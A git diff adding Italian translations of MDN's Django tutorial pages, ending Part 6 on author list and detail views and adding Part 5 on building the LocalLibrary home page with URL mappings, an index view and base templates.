+<p>Il codice richiesto per i mappatori di URL e le viste dovrebbe essere praticamente identico all'elenco di libri e alle viste di dettaglio che abbiamo creato sopra. I modelli saranno diversi ma condivideranno un comportamento simile.</p>
+
+<div class="note">
+<p><strong>Note</strong>:</p>
+
+<ul>
+ <li>Una volta creato il mapper URL per la pagina di elenco dell'autore, sarà necessario aggiornare il collegamento <strong>Tutti gli autori</strong> nel modello di base. Segui lo stesso processo che abbiamo fatto quando abbiamo aggiornato il link <strong>Tutti i libri.</strong></li>
+ <li>Una volta creato il mapper URL per la pagina dei dettagli dell'autore, è necessario aggiornare anche il <a href="#Creating_the_Detail_View_template">template della vista dettagliata dei libri</a> (<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>) in modo che il link dell'autore punti alla nuova pagina dei dettagli dell'autore (anziché essere un URL vuoto). La linea cambierà per aggiungere il tag template mostrato in grassetto sotto.
+  <pre class="brush: html">&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;&lt;/p&gt;
+</pre>
+ </li>
+</ul>
+</div>
+
+<p>Quando hai finito, le tue pagine dovrebbero apparire come gli screenshot qui sotto.</p>
+
+<p><img alt="Author List Page" src="https://mdn.mozillademos.org/files/14053/author_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<ul>
+</ul>
+
+<p><img alt="Author Detail Page" src="https://mdn.mozillademos.org/files/14055/author_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 358px; margin: 0px auto; width: 825px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Congratulazioni, la nostra funzionalità di libreria di base è ora completa!</p>
+
+<p>In questo articolo, abbiamo imparato come utilizzare la lista generica basata sulla classe e le viste di dettaglio e li abbiamo usati per creare pagine per visualizzare i nostri libri e autori. Lungo la strada abbiamo imparato a conoscere la corrispondenza dei modelli con le espressioni regolari e come puoi passare i dati dagli URL alle tue visualizzazioni. Abbiamo anche imparato qualche altro trucco per l'utilizzo dei modelli. Infine, abbiamo mostrato come impaginare le visualizzazioni degli elenchi in modo che le nostre liste siano gestibili anche quando abbiamo molti record.</p>
+
+<p>Nei nostri prossimi articoli, estenderemo questa libreria per supportare gli account utente, dimostrando in tal modo l'autenticazione dell'utente, permissons, sessioni e moduli.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-display/">Generic display views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/intro/">Introduction to class-based views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins">Built-in template tags and filters</a> (Django docs).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/pagination/">Pagination</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/home_page/index.html b/files/it/learn/server-side/django/home_page/index.html
new file mode 100644
index 0000000000..42c8d69eee
--- /dev/null
+++ b/files/it/learn/server-side/django/home_page/index.html
@@ -0,0 +1,419 @@
+---
+title: 'Django Tutorial Parte 5: Creare una Home page'
+slug: Learn/Server-side/Django/Home_page
+tags:
+  - Articolo
+  - Codice
+  - Script
+  - Tutorial
+  - django
+  - imparare
+  - lezioni
+  - server-side
+  - template django
+  - viste django
+translation_of: Learn/Server-side/Django/Home_page
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Ora siamo pronti per aggiungere il codice che mostra la nostra prima pagina completa: una home page per il sito web <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>. La home page mostrerà il numero di record che abbiamo per ogni tipo di modello e fornirà i link di navigazione della barra laterale alle nostre altre pagine. Lungo la strada acquisiremo esperienza pratica nella scrittura di mappe e viste URL di base, nel leggere record dal database e utilizzare i templates.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Leggere <a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django Introduction</a> e <a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Impara a creare semplici mappe url e viste (in cui nessun dato è codificato nell'URL), ottienere dati dai modelli e creare modelli.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>Dopo aver definito i nostri modelli e creato alcuni record della biblioteca iniziale con cui lavorare, è tempo di scrivere il codice che presenta tali informazioni agli utenti. La prima cosa che dobbiamo fare è determinare quali informazioni vogliamo visualizzare nelle nostre pagine e definire gli URL da utilizzare per restituire tali risorse. Quindi creeremo un URL mapper, visualizzazioni e templates per visualizzare le pagine.</p>
+
+<p>Il diagramma seguente descrive il flusso di dati principale e i componenti richiesti durante la gestione delle richieste e delle risposte HTTP. Siccome abbiamo già implementato il modello, i componenti principali che creeremo sono:</p>
+
+<ul>
+ <li>Mapper URL per inoltrare gli URL supportati (e qualsiasi informazione codificata negli URL) alle funzioni di visualizzazione appropriate.</li>
+ <li>Funzioni view per ottenere i dati richiesti dai model, creare pagine HTML che visualizzano i dati e restituire le pagine all'utente per visualizzarle nel browser.</li>
+ <li>Template da utilizzare durante il rendering dei dati nelle view.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p>
+
+<p>Come vedrai nella prossima sezione, abbiamo 5 pagine da visualizzare, che sono troppe informazioni da documentare in un singolo articolo. Pertanto, questo articolo si concentrerà su come implementare la home page e tratteremo le altre pagine in un articolo successivo. Questo dovrebbe darti una buona comprensione end-to-end di come funzionano in pratica i mappatori, le viste e i modelli.</p>
+
+<h2 id="Definizione_degli_URL_delle_risorse">Definizione degli URL delle risorse</h2>
+
+<p>Siccome questa <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary </a>è essenzialmente di sola lettura per gli utenti finali, abbiamo solo bisogno di fornire una pagina di destinazione per il sito (una home page) e pagine che visualizzano elenchi e viste di dettaglio per libri e autori.</p>
+
+<p>Gli URL di cui avremo bisogno per le nostre pagine sono:</p>
+
+<ul>
+ <li><code>catalog/</code> — La home page.</li>
+ <li><code>catalog/books/</code> — Lista di libri.</li>
+ <li><code>catalog/authors/</code> — Lista di tutti gli autori.</li>
+ <li><code>catalog/book/<em>&lt;id&gt;</em></code> — Vista di dettaglio per un libro particolare, con una chiave primaria del campo di &lt;id&gt; (di default). Ad esempio, l'URL per il terzo libro aggiunto alla lista sarà <code>/catalog/book/3</code>.</li>
+ <li><code>catalog/author/<em>&lt;id&gt;</em></code><em> </em>— Vista di dettaglio per uno specifico autore con un campo primario <em><code>&lt;id&gt;</code>.  </em>Per esempio l'URL per l'11-esimo autore <code>/catalog/author/11</code>.</li>
+</ul>
+
+<p>I primi tre URL restituiranno la pagina di indice, l'elenco di libri e l'elenco di autori. Questi URL non codificano alcuna informazione aggiuntiva e le query che prelevano i dati dal database saranno sempre le stesse. Tuttavia, i risultati restituiti dalle query dipendono dal contenuto del database.</p>
+
+<p>Al contrario, gli ultimi due URL mostreranno informazioni dettagliate su uno specifico libro o autore. Questi URL codificano l'identità dell'oggetto da visualizzare (rappresentato da <code><em>&lt;id&gt;</em></code>. Il mapper URL estrarrà le informazioni codificate e le passerà alla view e la view determinerà dinamicamente quali informazioni ottenere dal database. Codificando le informazioni nell'URL useremo un singolo set di una mappatura url, una view e un template per gestire tutti i libri (o gli autori).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Con Django, puoi costruire i tuoi URL come richiesto, puoi codificare le informazioni nel corpo dell'URL come mostrato sopra, o includere i parametri <code>GET</code> nell'URL, per esempio <code>/book/?id=6</code>. Qualunque approccio tu usi, gli URL dovrebbero essere mantenuti puliti, logici e leggibili, come <a href="https://www.w3.org/Provider/Style/URI">raccomandato dagli standard W3C</a>.</p>
+
+<p>La documentazione di Django consiglia di codificare le informazioni nel corpo dell'URL per ottenere una migliore progettazione dell'URL</p>
+</div>
+
+<p>Come accennato nella panoramica, il resto di questo articolo descrive come costruire la pagina indice.</p>
+
+<h2 id="Creare_la_pagina_index">Creare la pagina index</h2>
+
+<p>La prima pagina che creeremo è la pagina indice (<code>catalogo/</code>). La pagina indice includerà alcuni HTML statici, insieme ai "conteggi" generati di diversi record nel database. Per fare questo, creeremo una mappatura URL, una view e un template.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Vale la pena prestare molta attenzione in questa sezione. La maggior parte delle informazioni si applica anche alle altre pagine che creeremo.</p>
+</div>
+
+<h3 id="Mappatura_dellURL">Mappatura dell'URL</h3>
+
+<p>Quando abbiamo creato lo <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">scheletro del website</a>, abbiamo aggiornato il file <strong>locallibrary/urls.py</strong> per garantire che ogni volta che un URL che inizia con <code>catalog/</code> viene ricevuto, il modulo <em>URLConf </em>in <code>catalog.urls</code> elaborerà la sottostringa rimanente.</p>
+
+<p>Il seguente codice da <strong>locallibrary/urls.py </strong>include il modulo <code>catalog.urls</code>:</p>
+
+<pre>urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Ogni volta che Django incontra la funzione di importazione <code>django.urls.include()</code>, divide la stringa URL al carattere finale designato e invia la sottostringa rimanente al modulo URLconf incluso per un'ulteriore elaborazione.</p>
+</div>
+
+<p>Abbiamo anche creato un placeholder file per il modulo <em>URLConf</em>, chiamato <strong>/catalog/urls.py</strong>. Aggiungi il seguente codice a quel file:</p>
+
+<pre class="brush: python">urlpatterns = [
+<strong>    path('', views.index, name='index'),</strong>
+]</pre>
+
+<p>la funzione <code>path()</code>definisce:</p>
+
+<ul>
+ <li>Un pattern URL, che è una stringa vuota: ''. Discuteremo i pattern URL in dettaglio quando lavoreremo sulle altre visualizzazioni.</li>
+ <li>Una funzione di view che verrà chiamata se il pattern URL viene rilevato: <code>views.index</code>,  che è la funzione nominata <code>index()</code> nel file <strong>views.py</strong>. </li>
+</ul>
+
+<p>La funzione <code>path()</code> specifica anche un parametro <code>name</code>, che è un identificatore univoco per questa particolare mappatura degli URL. È possibile utilizzare il name per "invertire" il mapper, ovvero creare dinamicamente un URL che punta alla risorsa che il programma di mappatura è progettato per gestire. Ad esempio, possiamo usare il parametro name per collegarci alla nostra home page da qualsiasi altra pagina aggiungendo il seguente link in un template:</p>
+
+<pre class="brush: html">&lt;a href="<strong>{% url 'index' %}</strong>"&gt;Home&lt;/a&gt;.</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Potremmo anche mettere un link statico  <code>&lt;a href="<strong>/catalog/</strong>"&gt;Home&lt;/a&gt;</code>), ma se in futuro cambiassimo il pattern della home page, per esempio, in<code>/catalog/index</code>) i templates non si collegheranno più correttamente. L'utilizzo di una mappatura URL invertita è molto più flessibile e robusto.</p>
+</div>
+
+<h3 id="View_function-based">View (function-based)</h3>
+
+<p>Una vista è una funzione che elabora una richiesta HTTP, recupera i dati richiesti dal database, esegue il rendering dei dati in una pagina HTML utilizzando un template HTML e quindi restituisce l'HTML generato in una risposta HTTP per far visualizzare la pagina all'utente. La vista dell'indice segue questo modello — raccoglie informazioni sul numero di <code>Book</code>, <code>BookInstance</code>, <code>BookInstance</code> disponibili, e <code>Author</code> presenti nel database, e passa tali informazioni a un template per la visualizzazione.</p>
+
+<p>Apri <strong>catalog/views.py</strong> e nota che il file già importa la funzione di shortcut <a href="https://docs.djangoproject.com/en/2.1/topics/http/shortcuts/#django.shortcuts.render">render()</a> per generare un file HTML usando un template e i dati: </p>
+
+<pre class="brush: python">from django.shortcuts import render
+
+# Create your views here.
+</pre>
+
+<p>Incolla le seguenti righe nella parte inferiore del file:</p>
+
+<pre class="brush: python">from catalog.models import Book, Author, BookInstance, Genre
+
+def index(request):
+    """View function for home page of site."""
+
+    # Generate counts of some of the main objects
+    num_books = Book.objects.all().count()
+    num_instances = BookInstance.objects.all().count()
+
+    # Available books (status = 'a')
+    num_instances_available = BookInstance.objects.filter(status__exact='a').count()
+
+    # The 'all()' is implied by default.
+    num_authors = Author.objects.count()
+
+    context = {
+        'num_books': num_books,
+        'num_instances': num_instances,
+        'num_instances_available': num_instances_available,
+        'num_authors': num_authors,
+    }
+
+    # Render the HTML template index.html with the data in the context variable
+    return render(request, 'index.html', context=context)</pre>
+
+<p>La prima riga importa le classi di modello che useremo per accedere ai dati in tutte le nostre views.</p>
+
+<p>La prima parte della funzione view recupera il numero di record usando l'attributo <code>objects.all()</code> sulle classi del model. Inoltre prende una lista di oggetti <code>BookInstance</code> che hanno il valore 'a' (Available) nel campo status. Trovi ulteriori informazioni sull'accesso ai dati di modello nel precedente tutorial <a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Django Tutorial Part 3: Using models &gt; Searching for records</a>.</p>
+
+<p>Alla fine della funzione view, chiamiamo la funzione <code>render()</code> per creare una pagina HTML e restituire la pagina come risposta. Questa funzione scorciatoia include una serie di altre funzioni per semplificare un caso d'uso molto comune. La funzione <code>render()</code><strong> </strong>accetta i seguenti parametri:</p>
+
+<ul>
+ <li>L'oggetto <code>request</code> originale, che è una <code>HttpRequest</code>.</li>
+ <li>Un template HTML con dei placeholders per i dati.</li>
+ <li>Una variabile <code>context</code> (un dizionario Python), che contiene i dati da inserire nei segnaposto.</li>
+</ul>
+
+<p>Approfondiremo <code>context</code> e templates nella prossima sezione. Iniziamo a creare il nostro modello in modo che possiamo effettivamente mostrare qualcosa all'utente!</p>
+
+<h3 id="Template">Template</h3>
+
+<p>Un template è un file di testo che definisce la struttura o il layout di un file (come una pagina HTML), utilizzando placeholder per rappresentare contenuto effettivo.</p>
+
+<p>Django cercherà automaticamente i template in una directory chiamata '<strong>templates</strong>' nella tua applicazione. Ad esempio, nella view index che abbiamo appena aggiunto, la funzione <code>render()</code> si aspetterà di trovare il file <em><strong>index.html</strong> </em>in<em> </em><strong>/locallibrary/catalog/templates/</strong> e solleverà un errore se il file non è presente. Puoi eseguire un controlo salvando i cambiamenti precedenti ed accedendo a <code>127.0.0.1:8000</code> col tuo browser - verrà mostrato un messaggio di errore abbastanza intuitivo: "<code>TemplateDoesNotExist at /catalog/</code>", ed altri dettagli.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Sulla base del file delle impostazioni del progetto, Django cercherà i template in un numero di punti, cercando di default nelle applicazioni installate. Puoi trovare ulteriori informazioni su come Django trova i template e su quali formati di modello supporta sulla<a href="https://docs.djangoproject.com/en/2.1/topics/templates/"> sezione Templates della documentazione Django</a>.</p>
+</div>
+
+<h4 id="Estendere_i_templates">Estendere i templates</h4>
+
+<p>Il template dell'index richiederà un markup HTML standard per la head e il body, insieme alle sezioni di navigazione per collegarsi alle altre pagine del sito che non abbiamo ancora creato e alle sezioni che visualizzano il testo introduttivo e i dati del libro.</p>
+
+<p>Gran parte della struttura HTML e di navigazione sarà la stessa in ogni pagina del nostro sito. Invece di duplicare il codice su ogni pagina, puoi usare il linguaggio di template di Django per dichiarare un template di base, e quindi estenderlo per sostituire solo i bit che sono diversi per ogni pagina specifica.</p>
+
+<p>Il seguente frammento di codice è un modello di base di esempio da un file base_generic.html. L'esempio include HTML comune con sezioni per un titolo, una barra laterale e il contenuto principale contrassegnati con i tag di template chiamati <code>block</code> e <code>endblock</code>, mostrati in grassetto. È possibile lasciare i blocchi vuoti o includere il contenuto predefinito da utilizzare durante il rendering delle pagine derivate dal template.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: I tag Template sono funzioni che è possibile utilizzare in un Template per scorrere gli elenchi, eseguire operazioni condizionali in base al valore di una variabile e così via. Oltre ai tag del template, la sintassi del template consente di fare riferimento alle variabili passate nel template dalla view e utilizzare i <em>template filter</em> per formattare le variabili (ad esempio, per convertire una stringa in lettere minuscole).</p>
+</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  <strong>{% block title %}</strong>&lt;title&gt;Local Library&lt;/title&gt;<strong>{% endblock %}</strong>
+&lt;/head&gt;
+&lt;body&gt;
+  <strong>{% block sidebar %}</strong>&lt;!-- insert default navigation text for every page --&gt;<strong>{% endblock %}</strong>
+  <strong>{% block content %}</strong>&lt;!-- default content text (typically empty) --&gt;<strong>{% endblock %}</strong>
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Quando definiamo un template per una particolare vista, per prima cosa specifichiamo il template di base usando il tag <code>extends</code>  — vedere il codice di esempio sotto. Quindi dichiariamo quali sezioni del template vogliamo sostituire (se ce ne sono), usando le sezioni <code>block</code>/<code>endblock</code> come nel template di base. </p>
+
+<p>Ad esempio, il frammento di codice qui sotto mostra come usare il template tag <code>extends</code> ed effettuare un override del block <code>content</code>. L'HTML generato includerà il codice e la struttura definiti nel template di base, incluso il contenuto di default che hai definito nel blocco <code>title</code>, ma il nuovo blocco <code>content</code> al posto di quello di default.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Local Library Home&lt;/h1&gt;
+  &lt;p&gt;Welcome to LocalLibrary, a website developed by &lt;em&gt;Mozilla Developer Network&lt;/em&gt;!&lt;/p&gt;
+{% endblock %}</pre>
+
+<h4 id="Template_di_base_di_LocalLibrary">Template di base di LocalLibrary</h4>
+
+<p>Utilizzeremo il seguente snippet di codice come modello di base per il sito Web di LocalLibrary. Come puoi vedere, contiene del codice HTML e definisce i blocchi per <code>title</code>, <code>sidebar</code> e <code>content</code>. Abbiamo un titolo di default e una barra laterale predefinita con collegamenti agli elenchi di tutti i libri e gli autori, entrambi racchiusi in blocchi per essere facilmente modificati in futuro.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Presentiamo anche due ulteriori tag di template: <code>url</code> e <code>load static</code>. Questi tag verranno spiegati nelle seguenti sezioni.</p>
+</div>
+
+<p>Crea un nuovo file <strong><em>base_generic.html </em></strong>in <strong>/locallibrary/catalog/templates/</strong> e copia il codice sotto nel file:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  {% block title %}&lt;title&gt;Local Library&lt;/title&gt;{% endblock %}
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
+  &lt;link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"&gt;
+  &lt;!-- Add additional CSS in static file --&gt;
+  {% load static %}
+  &lt;link rel="stylesheet" href="{% static 'css/styles.css' %}"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div class="container-fluid"&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="col-sm-2"&gt;
+      {% block sidebar %}
+        &lt;ul class="sidebar-nav"&gt;
+          &lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href=""&gt;All books&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href=""&gt;All authors&lt;/a&gt;&lt;/li&gt;
+        &lt;/ul&gt;
+     {% endblock %}
+      &lt;/div&gt;
+      &lt;div class="col-sm-10 "&gt;{% block content %}{% endblock %}&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Il template include CSS da <a href="http://getbootstrap.com/">Bootstrap</a> per migliorare il layout e la presentazione della pagina HTML. Usare di Bootstrap (o di un altro framework web sul lato client) è un modo rapido per creare una pagina attraente che si mostra bene su diverse dimensioni dello schermo.</p>
+
+<p>Il template di base fa anche riferimento a un file css locale (<strong>styles.css</strong>) che fornisce uno styling aggiuntivo. Crea un file <strong>styles.css</strong> in <strong>/locallibrary/catalog/static/css/</strong> e incolla il seguente codice nel file:</p>
+
+<pre class="brush: css">.sidebar-nav {
+    margin-top: 20px;
+    padding: 0;
+    list-style: none;
+}</pre>
+
+<h4 id="Il_template_di_index">Il template di index</h4>
+
+<p>Crea un nuovo file HTML <strong><em>index.html </em></strong>in <strong>/locallibrary/catalog/templates/</strong> and paste the following code in the file. Questo codice estende il nostro template di base sulla prima riga, quindi sostituisce il blocco di <code>content</code> predefinito per il modello. </p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Local Library Home&lt;/h1&gt;
+  &lt;p&gt;Welcome to LocalLibrary, a website developed by &lt;em&gt;Mozilla Developer Network&lt;/em&gt;!&lt;/p&gt;
+  &lt;h2&gt;Dynamic content&lt;/h2&gt;
+  &lt;p&gt;The library has the following record counts:&lt;/p&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;strong&gt;Books:&lt;/strong&gt; <strong>\{{ num_books }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Copies:&lt;/strong&gt; <strong>\{{ num_instances }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Copies available:&lt;/strong&gt; <strong>\{{ num_instances_available }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Authors:&lt;/strong&gt; <strong>\{{ num_authors }}</strong>&lt;/li&gt;
+  &lt;/ul&gt;
+{% endblock %}</pre>
+
+<p>Nella sezione <em>Dynamic content </em>dichiariamo i placeholders (<em>variabili del template</em>) per le informazioni dalla view che vogliamo includere. Le variabili sono racchiuse tra doppie parentesi graffe (handlebars), come mostrato in grassetto nel codice di esempio. </p>
+
+<div class="note">
+<p><strong>Nota:</strong> È possibile riconoscere facilmente variabili di template e tag di template (funzioni) - le variabili sono racchiuse tra doppie parentesi (<code>\{{ num_books }}</code>), e i tag sono racchiusi tra parentesi graffe singole con segni di percentuale (<code>{% extends "base_generic.html" %}</code>).</p>
+</div>
+
+<p>La cosa importante da notare qui è che le variabili sono nominate con le <em>keys</em> che passiamo nel dizionario <code>context</code> nella funzione <code>render()</code> della nostra view (vedi esempio sotto). Le variabili saranno sostituite con i loro valori associati quando il modello è renderizzato. </p>
+
+<pre class="brush: python">context = {
+    '<strong>num_books</strong>': num_books,
+    '<strong>num_instances</strong>': num_instances,
+    '<strong>num_instances_available</strong>': num_instances_available,
+    '<strong>num_authors</strong>': num_authors,
+}
+
+return render(request, 'index.html', context=context)</pre>
+
+<h4 id="Referenziare_file_statici_nei_templates">Referenziare file statici nei templates</h4>
+
+<p>È probabile che il tuo progetto utilizzi risorse statiche, inclusi JavaScript, CSS e immagini. Perché la posizione di questi file potrebbe non essere nota (o potrebbe cambiare) Django ti consente di specificare la posizione nei tuoi template rispetto alle impostazioni globali di <code>STATIC_URL</code>. Lo scheletro del website imposta il valore di <code>STATIC_URL</code> predefinito a '<code>/static/</code>', ma potresti scegliere di ospitarli su una rete di distribuzione dei contenuti o altrove.</p>
+
+<p>All'interno del template chiami prima il tag di template <code>load</code> che specifica "statico" per aggiungere la libreria modello, come mostrato nell'esempio di codice seguente. È quindi possibile utilizzare il tag del template <code>static</code> e specificare l'URL relativo al file richiesto.</p>
+
+<pre class="brush: html">&lt;!-- Add additional CSS in static file --&gt;
+{% load static %}
+&lt;link rel="stylesheet" href="{% static 'css/styles.css' %}"&gt;</pre>
+
+<p>Puoi anche aggiungere una immagine allo stesso modo, per esempio:</p>
+
+<pre class="brush: html">{% load static %}
+&lt;img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="UML diagram" style="width:555px;height:540px;"&gt;
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Gli esempi sopra specificano dove si trovano i file, ma Django non li serve di default. Abbiamo configurato il web server di sviluppo per servire i file modificando il mapper URL globale (<strong>/locallibrary/locallibrary/urls.py</strong>) quando <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">abbiamo creato lo scheletro del website</a>, ma è comunque necessario abilitare il file serving in produzione. Lo vedremo più tardi.</p>
+</div>
+
+<p>Per maggiori informazioni sul lavoro con file statici vedere <a href="https://docs.djangoproject.com/en/2.1/howto/static-files/">utilizzare static files</a>.</p>
+
+<h4 id="Collegarsi_agli_URLs">Collegarsi agli URLs</h4>
+
+<p>Il template di base sottostante presenta il tag di template URL.</p>
+
+<pre class="brush: python">&lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+</pre>
+
+<p>Questo tag accetta il nome di una funzione <code>path()</code> chiamata in <strong>urls.py</strong> e i valori per qualsiasi argomento che la vista associata riceverà da quella funzione e restituisce un URL che è possibile utilizzare per collegarsi alla risorsa.</p>
+
+<h4 id="Configurare_dove_trovare_i_templates">Configurare dove trovare i templates</h4>
+
+<p>Devi indicare a Django dove cercare i tuoi template nella cartella dei template. Per fare ciò, aggiungi la directory templates all'oggetto TEMPLATES modificando il file <strong>settings.py</strong> come mostrato in grassetto nel seguente esempio di codice:</p>
+
+<pre class="brush: python">TEMPLATES = [
+    {
+        'BACKEND': 'django.template.backends.django.DjangoTemplates',
+        'DIRS': [
+<strong>            os.path.join(BASE_DIR, 'templates'),
+</strong>        ],
+        'APP_DIRS': True,
+        'OPTIONS': {
+            'context_processors': [
+                'django.template.context_processors.debug',
+                'django.template.context_processors.request',
+                'django.contrib.auth.context_processors.auth',
+                'django.contrib.messages.context_processors.messages',
+            ],
+        },
+    },
+]</pre>
+
+<h2 id="Come_viene_renderizzato">Come viene renderizzato?</h2>
+
+<p>A questo punto abbiamo creato tutte le risorse necessarie per visualizzare la pagina indice. Esegui il serve (<code>python3 manage.py runserver</code>) e apri <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a> nel browser. Se tutto è configurato correttamente, il tuo sito dovrebbe apparire come il seguente screenshot.</p>
+
+<p><img alt="Index page for LocalLibrary website" src="https://mdn.mozillademos.org/files/14045/index_page_ok.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 874px;"></p>
+
+<div class="note">
+<p><strong>Nota:</strong> I link <strong>All books</strong> e <strong>All authors</strong> non funzioneranno ancora perché i path, le view e i template per tali pagine non sono definiti. Abbiamo solo inserito i segnaposto per quei link nel template <code>base_generic.html</code>.</p>
+</div>
+
+<h2 id="Prova_tu">Prova tu</h2>
+
+<p>Ecco un paio di attività per testare la tua familiarità con le query al model, le view e i template.</p>
+
+<ol>
+ <li>Il <a href="#The_LocalLibrary_base_template">base template</a> di LocalLibrary include un blocco <code>title</code>. Effettua un override nell' <a href="#The_index_template">index template</a> e crea un nuovo titolo per la pagina.
+
+  <div class="note">
+  <p><strong>Consiglio:</strong> La sezione<a href="#Extending_templates"> Extending templates</a> mostra come creare blocchi ed estendere blocchi in altri template.</p>
+  </div>
+ </li>
+ <li>Modifica la <a href="#View_(function-based)">view</a> per generare conteggi per i <em>genres</em> e <em>books</em> che contengono una parola particolare (maiuscole e minuscole) e passano i risultati a <code>context.</code> Lo realizzi in un modo simile alla creazione e all'utilizzo di <code>num_books</code> e <code>num_instances_available</code>. Dopo fai un update dell' <a href="#The_index_template">index template</a> per includere le variabili.</li>
+</ol>
+
+<ul>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
